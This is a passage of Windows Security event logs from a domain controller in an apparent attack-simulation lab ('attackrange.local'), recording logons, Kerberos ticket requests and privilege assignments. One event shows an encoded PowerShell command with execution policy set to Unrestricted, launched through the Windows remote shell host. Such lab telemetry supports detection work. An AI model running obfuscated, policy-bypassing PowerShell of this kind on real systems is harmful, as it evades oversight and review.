-Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251091 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12528E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11f4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x61c - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFUAQQBOAGcAQQB6AEEAQwA0AEEATwBRAEEAMwBBAEQAQQBBAE8AQQBBADMAQQBEAEkAQQBNAGcAQQB0AEEARABRAEEATwBRAEEANABBAEQAYwBBAE0AdwBBADUAQQBEAEEAQQBOAFEAQQAxAEEARABrAEEATQB3AEEAMwBBAEQAVQBBAE4AdwBBAG4AQQBBAG8AQQBWAHcAQgB5AEEARwBrAEEAZABBAEIAbABBAEMAMABBAFQAdwBCADEAQQBIAFEAQQBjAEEAQgAxAEEASABRAEEASQBBAEEAdABBAEUAawBBAGIAZwBCAHcAQQBIAFUAQQBkAEEAQgBQAEEARwBJAEEAYQBnAEIAbABBAEcATQBBAGQAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEATABnAEIARwBBAEgAVQBBAGIAQQBCAHMAQQBFADQAQQBZAFEAQgB0AEEARwBVAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEQAOABBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBKAEEARwBZAEEASQBBAEEAbwBBAEUAYwBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBUAEEAQgBCAEEARgBNAEEAVgBBAEIARgBBAEYAZwBBAFMAUQBCAFUAQQBFAE0AQQBUAHcAQgBFAEEARQBVAEEASQBBAEEAdABBAEUAVQBBAGMAZwBCAHkAQQBHADgAQQBjAGcAQgBCAEEARwBNAEEAZABBAEIAcABBAEcAOABBAGIAZwBBAGcAQQBGAE0AQQBhAFEAQgBzAEEARwBVAEEAYgBnAEIAMABBAEcAdwBBAGUAUQBCAEQAQQBHADgAQQBiAGcAQgAwAEEARwBrAEEAYgBnAEIAMQBBAEcAVQBBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAEoAQQBCAE0AQQBFAEUAQQBVAHcAQgBVAEEARQBVAEEAVwBBAEIASgBBAEYAUQBBAFEAdwBCAFAAQQBFAFEAQQBSAFEAQQBnAEEASAAwAEEASQBBAEIARgBBAEcAdwBBAGMAdwBCAGwAQQBDAEEAQQBlAHcAQQBnAEEARwBVAEEAZQBBAEIAcABBAEgAUQBBAEkAQQBBAHgAQQBDAEEAQQBmAFEAQQBnAEEASAAwAEEA - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251090 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x127042 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251089 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x127042 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251088 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251087 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251086 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251085 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x127026 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251084 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x127026 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251083 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x127026 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251082 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251081 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251080 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251079 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x126BDA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251078 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1256F2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251174 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x129AB7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251173 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x12B1E5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251172 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x12B1E5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64508 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251171 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x12B1E5 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251170 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x12B184 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251169 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x12B184 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64507 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251168 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x12B184 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251167 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x12B11E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251166 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x12B11E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64506 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251165 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x12B11E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251164 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x12B0BD - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:39 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 